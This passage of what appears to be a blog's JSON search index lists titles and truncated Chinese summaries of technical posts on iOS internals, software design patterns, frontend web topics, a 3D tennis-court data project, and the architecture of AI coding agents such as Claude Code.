\u0026amp;ldquo;任何足够先进的技术都与魔法无异。\u0026amp;rdquo; —— 阿瑟·克拉克\n当你在终端中输入 claude \u0026amp;quot;帮我重构这个函数\u0026amp;quot;，然后看着屏幕上的文字流动——它读取文件、思考方案、编辑代码、运行测试、发现错误、再次修改——这一切看似自然，却隐含着一个深刻的架构问题：这个程序，究竟是什么？\n它不是传统意义上的 CLI 工具。grep 不会在搜索失败后决定换一个关键词再试；sed 不会在替换出错后自行回退并尝试另一种方案。Claude Code 做的事情本质上不同——它在循环中推理，在不确定性中决策，在反馈中调整行为。\n这就是 Agent。\n1.1 当我们说 …","title":"第1章 Agent 的本质"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/codable%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/","summary":"Codable 是 Swift 4 引入的序列化方案，官方定位是替代 Objective-C 时代的 NSCoding、以及各种第三方字典转模型框架（MJExtension、YYModel、JSONModel 等）。与运行时反射方案不同，Codable 通过\u0026amp;quot;编译器自动合成 + 标准库协议抽象 + 具体格式实现\u0026amp;quot;三层解耦，在编译期就把类型与序列化逻辑绑定好，兼具类型安全、性能和扩展性。\n本文基于以下 Swift 源码展开分析：\n协议定义：swift/stdlib/public/core/Codable.swift 编译器合成 …","title":"Codable底层原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/method-cache-explained/","summary":"objc4 方法缓存 cache_t / bucket_t 技术讲解 本文基于当前仓库中的 runtime/objc-cache.mm、 runtime/objc-runtime-new.h、runtime/objc-runtime-new.mm 以及 cache flush 相关测试，说明 Objective-C runtime 如何把一次慢速方法查找变成后续的快速 objc_msgSend cache hit。\n一、方法缓存的作用 Objective-C 消息发送以 (Class, SEL) 为核心输入。完整方法查找需要处理类实现、父类链、 动态方法解析、转发和分类变更等逻辑，代价高于一次 …","title":"objc4 方法缓存 cache_t / bucket_t 技术讲解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/cocostennis/part-three/","summary":"在3D球场项目 (二)中，我们梳理了视频弹幕引擎的整体架构、引擎初始化流程。现在，3D 球场部分基本已经探索完毕，我们接下来就是要解决这个项目的数据驱动部分了。\n我们现在研究一下下发数据的来源：Opta，它是全球顶级的体育数据公司，1996 年创立于英国伦敦，现隶属于 Stats Perform，是行业公认的足球数据金标准。\n覆盖：20+ 运动、3900+ 赛事、每年 6 万 + 场比赛 规模：7.2PB 历史数据、年采集超 10 亿数据点 精度：单场足球2 万 + 事件点，事件识别准确率 99.8% 腾讯体育采买了 Opta WTA 网球比赛的数据，我们可以通过 Opta 的 API 来获取 …","title":"3D球场项目 (三)"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/%E4%B8%9A%E7%95%8C%E6%96%B9%E6%A1%88/","summary":"本文对比目前 iOS APM 领域主流的七大方案，从接入形态、原理、能力深度、适用场景四个维度深入剖析。每个方案都包含核心技术原理与关键源码解读，帮助读者做\u0026amp;quot;自研还是三方、自研该参考哪个\u0026amp;quot;的选型决策。\n一、全景对比 quadrantChart title \u0026#34;iOS APM 方案对比\u0026#34; x-axis \u0026#34;低侵入\u0026#34; --\u0026gt; \u0026#34;高侵入\u0026#34; y-axis \u0026#34;浅能力\u0026#34; --\u0026gt; \u0026#34;深能力\u0026#34; quadrant-1 \u0026#34;专业级\u0026#34; quadrant-2 \u0026#34;旗舰级\u0026#34; quadrant-3 \u0026#34;入门级\u0026#34; quadrant-4 \u0026#34;高性价比\u0026#34; MetricKit: [0.05, 0.45] …","title":"APM-业界方案"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/explicit-modules/","summary":"Apple 从 Xcode 15 开始在 Swift 上引入 Explicit Modules，Xcode 16 在 C/C++/Objective-C 上全面铺开，Xcode 17 进一步默认启用并与细粒度依赖追踪结合。这是近五年 Apple 构建系统最重要的一次变革，直接影响到大部分项目的编译模型。\n模块（Module）基础 为什么需要模块 C 家族语言的 #include 机制有两个致命问题：\n文本替换：头文件是纯文本替换，每个源文件都要重新解析一遍所有包含的头文件 宏污染：先引入的头文件宏会影响后续头文件的行为，没有隔离 Clang 在 2012 年引入 Clang Modules，用 …","title":"编译优化-Explicit Modules"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/iglistkit%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":"IGListKit 是 Instagram（Meta）开源的一款数据驱动的 UICollectionView 框架，旨在构建快速、灵活的列表。它的核心思想是将每个数据对象映射为独立的 Section Controller，通过高效的 O(n) Diff 算法自动计算数据变化并应用最小化更新，避免手动调用 performBatchUpdates 或 reloadData。本文基于 v5.2.0 源码（2026年2月发布）进行分析。\n一、整体架构 IGListKit 采用分层架构，核心由三大模块构成：\ngraph TB subgraph \u0026#34;使用层\u0026#34; A[\u0026#34;UIViewController\u0026#34;] …","title":"IGListKit源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/mvp/","summary":"什么是MVP MVP（Model-View-Presenter）是一种将展示逻辑与视图分离的架构模式，起源于上世纪90年代。MVP通过引入Presenter层来解决MVC中Controller职责过重（Massive ViewController）的问题。MVP的核心思想是让View变得\u0026amp;quot;被动\u0026amp;quot;（Passive View），所有的展示逻辑都由Presenter处理，View只负责UI的展示和事件的转发。\nMVP的结构 graph LR subgraph View[\u0026#34;View (ViewController)\u0026#34;] V1[\u0026#34;- 只负责UI展示- 将事件转发给Presenter- …","title":"MVP架构详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/reactnative/","summary":"React Native 是 Meta 2015 年开源的跨平台框架，用 JavaScript/TypeScript 写一份业务代码，在 iOS 和 Android 上渲染出真正的原生控件（UIView / android.view.View），而不是像 Flutter 那样自绘，也不是像 H5 那样跑在 WebView 里。经过 2018~2024 年的\u0026amp;quot;新架构\u0026amp;quot;大重构，RN 在 0.76 让 New Architecture（Fabric + TurboModules + JSI + Codegen + Bridgeless）成为默认，并在 0.82（2025 年 10 …","title":"React Native 详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/solid%E5%8E%9F%E5%88%99/","summary":"概述 SOLID 是面向对象设计的五大基本原则的首字母缩写，由 Robert C. Martin（Uncle Bob）在 2000 年代初期提出。这五个原则是构建可维护、可扩展软件的基础，在 iOS 开发中同样适用。\n字母 原则 英文名称 S 单一职责原则 Single Responsibility Principle O 开放封闭原则 Open-Closed Principle L 里氏替换原则 Liskov Substitution Principle I 接口隔离原则 Interface Segregation Principle D 依赖倒置原则 Dependency …","title":"SOLID原则"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/webview%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/","summary":"前言 iOS 上的 WebView 目前以 WKWebView 为事实标准。它对外表现得像一个 UIView 子类，但内部其实对接着整个 WebKit 引擎——一个由多个独立进程协作的庞大系统。日常开发中遇到的那些困扰：为什么 Web 页白屏不会把 App 带崩？为什么 Cookie 和 App 自身的 NSHTTPCookieStorage 总是对不上？为什么 JS 调用 Native 永远是异步？为什么 NSURLProtocol 拦不到 WKWebView 的请求？这些问题单看 API 都得不到答案，必须下潜到 WebKit 源码里才能看清楚。\n好在 WebKit 是 Apple 官方开 …","title":"WebView底层原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/launch-rebase%E4%B8%8Ebind/","summary":"Rebase和Bind是Pre-main阶段的重要步骤，用于修正程序中的指针地址。ObjC类、方法、协议等元数据越多，需要修复的指针越多，启动时间越长。\n基本概念 由于ASLR（Address Space Layout Randomization）技术，App每次启动时加载到内存的地址都是随机的，因此需要进行地址修正。关于Rebase和Bind的底层原理，可以参考Mach-O的链接、装载与库。\nRebase（重定位） 修正指向Mach-O内部的指针，将编译时的地址加上ASLR偏移量。\nBind（绑定） 修正指向Mach-O外部的指针，查找符号表，绑定到正确的外部符号地址。\nflowchart …","title":"启动优化-Rebase与Bind"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%91%BD%E4%BB%A4%E6%A8%A1%E5%BC%8F/","summary":"定义 命令模式（Command Pattern）是一种行为型设计模式，它将请求封装成对象，从而可以用不同的请求对客户进行参数化，对请求排队或记录请求日志，以及支持可撤销的操作。\n命令模式的核心思想是：将\u0026amp;quot;请求\u0026amp;quot;封装成一个对象，使得可以用不同的请求、队列或日志来参数化其他对象，同时支持可撤销操作。\n为什么需要命令模式 命令模式要解决的核心问题是：将请求（操作）封装成对象，使得可以对请求进行存储、传递、撤销等操作。\n问题场景：假设我们正在开发一个文本编辑器，需要支持撤销/重做功能。\n最直接的方式可能是这样：\nclass TextEditor { var text: String …","title":"命令模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-158/","summary":" ← 第 2 轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 这一轮主要考察了小程序的低代码设计架构、Web Worker的使用、中台系统的微前端拆分策略等方面的知识。\n本轮共 4 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你关于小程序的低代码设计架构 题目要点 小程序低代码架构本质是配置驱动的运行时体系，核心包括 DSL 协议设计、组件注册机制、运行时解析与数据驱动更新；必须围绕 setData 性能约束进行差量更新与渲染优化；工程重点不在编辑器，而在运行时引擎的性能治理与扩展能力设计。\n参考答案 小程序的低代码架构，本质是在受限运行环境下实现“可配置驱动 UI 与逻辑”。核 …","title":"小红书-社招-3年 · 第 3 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-003/","summary":"HTTP 协议中定义了多种 请求方法（HTTP Methods），用于客户端和服务器之间进行不同的操作。\n一、常用的 HTTP 方法 方法 是否幂等 是否安全 说明 GET ✅ 幂等 ✅ 安全 获取资源。请求参数放在 URL 上。不会对资源产生副作用。 POST ❌ 非幂等 ❌ 不安全 提交数据（如表单、上传），可能导致资源变化或创建。 PUT ✅ 幂等 ❌ 不安全 用于整体更新某个资源（数据完全替换）。 PATCH ❌ 非幂等 ❌ 不安全 用于部分更新资源（只改动部分字段）。 DELETE ✅ 幂等 ❌ 不安全 删除指定资源。 二、幂等性和安全性解释 幂等（Idempotent）：同一个请求 …","title":"http方法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-003/","summary":"state 基本定义 state是组件内部的状态（数据），不能够直接修改，必须要通过setState来改变值的状态，从而达到更新组件内部数据的作用。\nprops 基本定义 props是指组件间传递的一种方式，props自然也可以传递state。由于React的数据流是自上而下的，所以是从父组件向子组件进行传递；另外组件内部的this.props属性是只读的不可修改。\n代码示例 // 父组件 import stateJj from \u0026amp;#39;./stateJj.js\u0026amp;#39;; // 引入子组件 class stateJjFather extends React.Component { …","title":"state 与 props"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-003/","summary":"浏览器的垃圾回收（Garbage Collection, GC）机制是前端性能优化和内存管理的重要基础。\n一、垃圾回收的基本概念 目的：自动回收不再使用的内存，避免内存泄漏，保证浏览器性能稳定。 GC 触发：当浏览器检测到内存不足或特定条件时，启动垃圾回收过程。 二、主要垃圾回收算法 1. 标记清除（Mark-and-Sweep） 浏览器从**根对象（Global、执行上下文中的变量）**开始，标记所有可达对象。 没被标记的对象被认为不可达，即不再被使用，进行回收。 是现代 JS 引擎普遍采用的算法。 2. 引用计数（Reference Counting） 每个对象维护引用计数，引用增加时计数 …","title":"浏览器的垃圾回收机制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-003/","summary":"前言 JavaScript 是一种非常灵活的编程语言，它允许开发者在代码中进行各种类型的操作和转换。其中，显式和隐式类型转换是 JavaScript 中一个重要而又常见的概念。你是否曾经遇到过 JavaScript 中奇怪的类型转换行为？当你使用加号连接两个不同类型的值时，为什么有时候会得到意料之外的结果？为了更好地理解 JavaScript 中的这些行为，我本篇文章将带大家深入探讨显式和隐式类型转换。\n数据类型 首先简单了解下有哪些数据类型。\n原始数据类型：String、Number、Boolean、Symbol、Undefined、Null、BigInt（本文不讨论 …","title":"数据类型转换"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-003/","summary":"CSS选取器分类 通配符选择器 *{ margin:0; padding:0; } 元素（标签）选择器 p{ color:red; } 类选择器 .warning{ color:red; } ID选择器 #warning{ color:red; } 优先级\n!important\u0026amp;gt;行内样式\u0026amp;gt;ID选择器\u0026amp;gt;类、伪类、属性\u0026amp;gt;元素、伪元素\u0026amp;gt;继承\u0026amp;gt;通配符\n属性选取器 示例html\n\u0026amp;lt;ul\u0026amp;gt; \u0026amp;lt;li foo\u0026amp;gt;1\u0026amp;lt;/li\u0026amp;gt; \u0026amp;lt;li foo=\u0026amp;#34;abc\u0026amp;#34;\u0026amp;gt;2\u0026amp;lt;/li\u0026amp;gt; \u0026amp;lt;li …","title":"选择器"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-003/","summary":"在前端开发中，我们经常需要执行各种重复性任务，比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务，但npm本身提供了一个强大的功能：npm scripts。通过npm scripts，我们可以将这些任务脚本化并集中管理，从而提高开发效率。本文将专注于如何使用npm scripts自动化前端开发任务，以及它在项目管理中的作用。\n什么是npm scripts？ npm scripts是npm提供的一种机制，允许我们在项目的package.json文件中定义一组命令，方便执行各种任务。在package.json文件中，scripts字段可以包含多个 …","title":"任务自动化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-003/","summary":"1.1 钩子函数 一个指令定义对象可以提供如下几个钩子函数 (均为可选)：\nbind 只调用一次，指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。 inserted 被绑定元素插入父节点时调用 (仅保证父节点存在，但不一定已被插入文档中)。 update 所在组件的 VNode 更新时调用，但是可能发生在其子 VNode 更新之前。指令的值可能发生了改变，也可能没有。 componentUpdated 指令所在组件的 VNode 及其子 VNode 全部更新后调用。 unbind 只调用一次，指令与元素解绑时调用。 Vue.directive(\u0026amp;#39;gqs\u0026amp;#39;,{ …","title":"vue指令"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/https/","summary":"阅读本文之前，咱们先来看几道面试题:\n什么是HTTPS？ HTTPS改进HTTP存在的哪些问题？ HTTPS加密原理是什么？ 什么是对称加密和非对称加密？ HTTPS传输过程? 什么是数字证书？为什么需要数字证书? 为什么需要数字签名？ \u0026amp;hellip;\n如果你能准确无误的回答以上问题，你可以不用继续往下面看了，如果不能，通过阅读这篇文章，我相信你肯定能完全掌握HTTPS。好了废话不多说，我们开始。\n什么是 HTTPS 当我们在访问一个地址采用HTTPS协议的Web网站时，浏览器的地址栏内会出现一个带锁的标记，就像这样：\n我们想要了解一个东西之前，我们得先知道它是什么，那么HTTPS是什么呢？ …","title":"https"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-003/","summary":"一、参数传递\n代码语言：javascript\nfunction foo(a, b) { console.log([a, b]); } foo(1, 2); // 输出 [1, 2] 这个例子中，a 和 b 属于函数中的局部变量，只能在函数中访问。调用函数时，传递的数据会根据位置来匹配对应，分别赋值给 a 和 b。\n创建函数时，function 函数名 后面括号中设定的参数被称为形参；调用函数时，函数名后面括号中传入的参数被称为实参。上面例子中，a 和 b 是形参，传入的 1 和 2 是实参。\n因为形参是已声明的变量，所以不能再用 let 和 const 重复声明。\n代码语言 …","title":"默认参数"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-003/","summary":"HTML 语义化是什么？ HTML 语义化是指使用 HTML 标签来正确地表示文档的结构和内容的方式。通过使用正确的标签和元素，可以使网页的结构更加清晰、易于理解，并且对搜索引擎和辅助技术（如屏幕阅读器）更友好。 CSS 命名的语义化指的是在给 CSS 类名、选择器和 ID 命名时，使用具有语义的名称来描述元素的用途和功能。这样的命名方式可以使代码更具可读性、可维护性和可拓展性。 为什么需要语义化？ 有利于搜索引擎优化（SEO）：搜索引擎依赖于网页的结构和语义来识别和理解网页内容。使用语义化的 HTML 标签可以提高网页在搜索引擎结果的排名，从而提高页面的 SEO（搜索引擎优化）。 可读性和可 …","title":"语义化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/concurrency-actor-async/","summary":"Swift 面试：并发、async/await 与 Actor 源码解析 Swift Concurrency 面试经常从 async/await 问起，但真正的重点是：Task 是结构化并发的执行单元，await 是显式暂停点，Actor 通过隔离和串行执行器保护状态，Sendable 则约束跨并发边界传递的数据。\n这篇文章按面试题展开，把结论落到 Swift 标准库和编译器源码里的 Actor、GlobalActor、MainActor、AsyncLet、TaskGroup、Sendable 和 ActorIsolation。\n面试高频问题 async/await 和 GCD 的关系是什么？ …","title":"Swift 面试：并发、async/await 与 Actor 源码解析"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-02/","summary":"2.1 问题引入：如何让 Agent 拥有\u0026amp;quot;手脚\u0026amp;quot; 一个纯粹的大语言模型（LLM），无论多么聪明，都只是一颗\u0026amp;quot;大脑\u0026amp;quot;——它能思考、推理、生成文本，却无法触及真实世界。它读不了磁盘上的文件，执不了终端里的命令，搜不了代码库中的符号。要将这颗大脑变成一个真正能解决问题的 Agent，就必须为它接上\u0026amp;quot;手脚\u0026amp;quot;——一套能够操作外部世界的能力体系。\n这套能力体系在 Claude Code 中被称为工具（Tool）。截至当前版本，Claude Code 内建了约 45 种工具，涵盖以下截然不同的能力域：\n能力域 代表性工具 特征 文件操作 …","title":"第2章 Agent 的骨架：对象模型"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/category-loading-explained/","summary":"objc4 runtime\nCategory 装载与方法、协议、属性附加 Category 的本质不是“修改类结构体”，而是在镜像加载和类实现化时，把分类携带的方法列表、协议列表、属性列表合并到目标类或元类的可变列表视图中。objc4 同时要处理未实现类、stub class、dyld 预附加列表、方法缓存失效和 +load 顺序。\nruntime/objc-runtime-new.mm runtime/objc-runtime-new.h runtime/objc-loadmethod.mm test/category.m 等测试\n目录 作用 实现原理总览 核心结构和字段 关键流程 带注释核 …","title":"Objective-C Category 装载与附加机制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/cocostennis/part-four/","summary":"项目终于来到了落地环节。 在3D球场项目 (三)里，我们用一段离线 PBP 数据 + 一次 LLM 调用，把\u0026amp;quot;导演 Agent\u0026amp;quot;的雏形跑了起来。Demo 阶段的脚本是离线生成、整段 导入的；那时的 LLM 既负责\u0026amp;quot;想象画面\u0026amp;quot;，又顺手把动作、镜头、音效、解说词都打包了。\n但项目一旦从 Demo 推到线上，导演 Agent 立刻面对三件事：\nOpta 数据是按 Point 持续推过来的，不会一次性把一场比赛喂给大模型； 大模型 会失败、会延迟，一旦卡住，球员就只能停在 idle； 客户端会断流、会重连，需要一个\u0026amp;quot;刚才那一拍发生了什么\u0026amp;quot;的回 …","title":"3D球场项目 (四)"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/%E4%BA%A7%E5%93%81%E4%B8%8E%E6%9E%B6%E6%9E%84%E8%AE%BE%E8%AE%A1/","summary":"APM 系统的产品设计不能从“要采哪些指标”开始，而应该从“谁要用这些数据解决什么问题”开始。iOS APM 的产品形态可以分成 C 端真实用户体验、B 端研发治理平台两面；技术实现则分成 iOS SDK、数据平台、Web 控制台三层。\n一、产品边界 APM 的 C 端不是一个给用户看的页面，而是运行在用户设备里的监控能力；APM 的 B 端才是研发、测试、架构、运维、产品、客服使用的控制台。\n视角 C 端 B 端 用户 App 真实用户 研发、测试、架构、运维、产品、客服 形态 iOS SDK，无感运行 Web 控制台、告警、工单、报表 核心体验 不打扰、不拖慢、不泄露隐私 快速发现、下钻、 …","title":"APM-产品与架构设计"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/foundationmodels/","summary":"2025年WWDC上，Apple把Apple Intelligence背后的那个\u0026amp;quot;设备端基础模型\u0026amp;quot;第一次对开发者开放——这就是FoundationModels框架。过去要在App里接入LLM，基本只有两条路：调OpenAI/Claude这类云端API，或者自己在端上集成llama.cpp、MLC、Core ML等推理框架。前者有隐私和成本问题，后者有工程门槛和包体积问题。FoundationModels试图提供第三条路：一个系统级的、免费的、离线可用的、原生Swift的LLM API。\n本文从框架定位开始，一路讲到Guided Generation、Tool …","title":"FoundationModels"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/kingfisher%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":"Kingfisher 是一款纯 Swift 图片下载和缓存库，支持 iOS、macOS、tvOS、watchOS 和 visionOS 全平台。当前最新版本为 8.8.0（2026年3月），已全面适配 Swift 6 严格并发模型。本文基于 v8.x 源码进行分析。\n一、整体架构 Kingfisher 采用协议导向的模块化设计，核心由四大组件构成：\ngraph TB subgraph \u0026#34;UI层\u0026#34; A[\u0026#34;UIImageView.kf / KFImage\u0026#34;] end subgraph \u0026#34;管理层\u0026#34; B[\u0026#34;KingfisherManager\u0026#34;] end subgraph \u0026#34;功能层\u0026#34; …","title":"Kingfisher源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/kvc%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/","summary":"基础概念 KVC（Key-Value Coding，键值编码）是 Apple 提供的一种通过字符串 key 间接访问对象属性的机制，定义在 NSKeyValueCoding 协议中，NSObject 默认遵循该协议。\n// 直接访问 person.name = @\u0026amp;#34;Tom\u0026amp;#34;; NSString *name = person.name; // KVC 访问 [person setValue:@\u0026amp;#34;Tom\u0026amp;#34; forKey:@\u0026amp;#34;name\u0026amp;#34;]; NSString *name = [person valueForKey:@\u0026amp;#34;name\u0026amp;#34;]; …","title":"KVC底层原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/mvvm/","summary":"什么是MVVM MVVM（Model-View-ViewModel）是一种通过数据绑定实现View和业务逻辑解耦的架构模式。它最初由Microsoft提出，用于WPF开发，后来被广泛应用于iOS开发。\nMVVM的核心特点是：\nViewModel不持有View的引用 通过数据绑定实现View和ViewModel的同步 View的状态完全由ViewModel驱动 MVVM的结构 flowchart TB subgraph View[\u0026#34;View (ViewController)\u0026#34;] V1[\u0026#34;绑定ViewModel的属性\u0026#34;] V2[\u0026#34;将用户事件传递给ViewModel\u0026#34;] end subgraph …","title":"MVVM架构详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/webview%E7%A6%BB%E7%BA%BF%E5%8C%85/","summary":"背景 Hybrid 开发模式下，WebView 加载 H5 页面的体验一直是痛点。一个典型的 H5 页面加载流程涉及：初始化 WebView -\u0026amp;gt; DNS 解析 -\u0026amp;gt; 建立连接 -\u0026amp;gt; 下载 HTML -\u0026amp;gt; 解析 HTML -\u0026amp;gt; 下载 CSS/JS/图片 -\u0026amp;gt; 渲染页面。在弱网或首次加载场景下，白屏时间常常达到 2~5 秒，远不如 Native 体验。\n离线包的核心思路是：将 H5 的静态资源（HTML、CSS、JS、图片、字体等）预先打包下发到客户端本地，WebView 加载时直接从本地读取资源，跳过网络请求环节，从而大幅缩短页面加载时间。\n离线包加载 vs …","title":"WebView离线包"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/%E5%8A%A8%E6%80%81%E5%8C%96dsl/","summary":"动态化 DSL（Domain-Specific Language，领域特定语言）是\u0026amp;quot;不改 App 主包、不走应用商店审核，只下发一段描述文件就能改变界面和逻辑\u0026amp;quot;的一类技术。它在 2015~2023 年成为国内大厂客户端的必备基础设施：阿里 DinamicX / Tangram / VirtualView / LuaView、字节 Lynx、腾讯 Mars / 小程序、滴滴 Hummer、美团 MRN / Recce、京东 Taro-Native、拼多多 Lego、支付宝 Nebula / BirdNest、爱奇艺 Doric ……几乎每一家超级 App 都至少造过一套自己的 …","title":"动态化 DSL 详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/launch-didfinishlaunching/","summary":"didFinishLaunchingWithOptions是main阶段的核心入口，在这里初始化大量SDK和服务会阻塞启动。本文介绍如何优化这个阶段的耗时。\n问题分析 典型的问题代码：\nfunc application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -\u0026amp;gt; Bool { // 所有初始化都在主线程同步执行 CrashReporter.setup() Analytics.setup() …","title":"启动优化-didFinishLaunching"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%A4%96%E8%A7%82%E6%A8%A1%E5%BC%8F/","summary":"定义 外观模式（Facade Pattern）是一种结构型设计模式，它为子系统中的一组接口提供一个统一的高层接口。外观模式定义了一个高层接口，使得子系统更加容易使用。\n外观模式的核心思想是通过引入一个外观类，将复杂子系统的内部复杂性隐藏起来，只暴露一个简单的接口给客户端。\n为什么需要外观模式 外观模式要解决的核心问题是：简化复杂子系统的使用，为客户端提供一个更简单的接口。\n问题场景：假设我们正在开发一个视频播放功能，需要处理音频、视频、字幕等多个子系统。\n直接使用各个子系统：\nclass VideoPlayerController { func playVideo(url: URL) { // …","title":"外观模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/swift%E7%BC%96%E8%AF%91%E4%BC%98%E5%8C%96/","summary":"Swift 的类型推导、泛型约束求解、WMO / CMO 是编译性能的核心影响因素。理解它们能让源码层面的小改动带来显著的编译加速。本文聚焦\u0026amp;quot;代码写法 + 编译开关\u0026amp;quot;两方面的优化。\nSwift 编译流程速览 相比 C/OC，Swift 编译多出大量工作：\nflowchart LR A[Parse] --\u0026gt; B[Sema类型检查] B --\u0026gt; C[SILGen生成 SIL] C --\u0026gt; D[SIL Optimization] D --\u0026gt; E[IRGenLLVM IR] E --\u0026gt; F[LLVM Optimization] F --\u0026gt; G[CodeGen] 其中 Sema（语义 …","title":"编译优化-Swift编译优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/%E8%BF%AA%E7%B1%B3%E7%89%B9%E6%B3%95%E5%88%99/","summary":"什么是迪米特法则？ 迪米特法则（Law of Demeter, LoD）也称为最少知识原则（Least Knowledge Principle, LKP），由 Ian Holland 在 1987 年提出。\nEach unit should have only limited knowledge about other units: only units \u0026amp;ldquo;closely\u0026amp;rdquo; related to the current unit. 每个单元应该只对与其紧密相关的单元有有限的了解。\n更通俗的表述是：只和直接朋友交流，不要和陌生人说话。\n核心思想 什么是\u0026amp;quot;直接朋友 …","title":"迪米特法则"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-004/","summary":"谈到构建工具，大家首先想到的肯定就是 Webpack 以及现在最🔥的 Vite。 Webpack，功能强大，生态丰富，从面世到今天，一直是很受大家欢迎；Vite 采用 unbundle 构建模式，带来了极致的开发体验，给开发人员以新的选择。\n在这两个构建工具之外，还有其他的构建工具，如和 Webpack、Vite 类似的 Rollup、Parcel、Esbuild，自动化构建工具 grunt、gulp，以及更加久远的 YUI Tool。\n这些工具的存在，构成了前端构建工具的发展史。\nYUI Tool + Ant YUI tool 是 07 年左右出现的一个构建工具，功能比较简单，用于压缩混淆 …","title":"前端构建工具详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/network-004/","summary":"一、HTTP 状态码概述 1. 概念 当我们在浏览器输入URL并按下Enter键时，浏览器就会向站点的服务器发送一个HTTP请求，服务器接收并处理请求，然后将相关资源和HTTP标头一起返回。可以在浏览器的Network中查看 HTTP 的请求状态码：\n维基百科中对HTTP状态码的解释：\nHTTP状态码（HTTP Status Code）是用以表示网页服务器超文本传输协议响应状态的3位数字代码。它由 RFC 2616 规范定义的，并得到 RFC 2518、RFC 2817、RFC 2295、RFC 2774 与 RFC 4918 等规范扩展。所有状态码被分为五类，状态码的第一个数字代表了响应的五 …","title":"http状态码"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-lifecycle/","summary":"简介 React从v16.3的版本开始， 对生命周期的钩子进行了渐进式的调整，分别废弃和新增了一些生命周期的钩子函数，本文会从以下四点开始讲解：\n新旧生命周期函数的对比 分析为什么要废弃旧的钩子函数 详解新的生命周期使用场景 实例代码演示并进行总结 新旧生命周期对比 一个完整的React组件生命周期会依次调用如下钩子：\nold lifecycle 挂载\nconstructor componentWillMount render componentDidMount 更新\ncomponentWillReceiveProps shouldComponentUpdate …","title":"React 生命周期"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-004/","summary":"浏览器的存储机制涵盖多种技术，目的是满足 Web 应用在不同场景下的数据持久化、缓存和离线访问需求。它们各自具有不同的存储容量、生命周期、安全策略和访问方式，理解这些机制对于构建高效、安全的前端应用至关重要。\n一、浏览器存储机制分类 1. Cookie 最早期的存储机制，主要用于会话管理和身份认证。\n容量限制：单个约 4KB，总数有限制； 生命周期：可设置过期时间或为会话级； 访问方式：由浏览器自动在 HTTP 请求头中携带，也能通过 JS 访问（除非设置 HttpOnly）； 安全性：可设置 HttpOnly、Secure、SameSite 防范安全风险。 2. Web …","title":"浏览器的存储机制"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-004/","summary":"\nvar a = 20; var b = \u0026amp;#39;abc\u0026amp;#39;; var c = true; var d = { m: 20 } 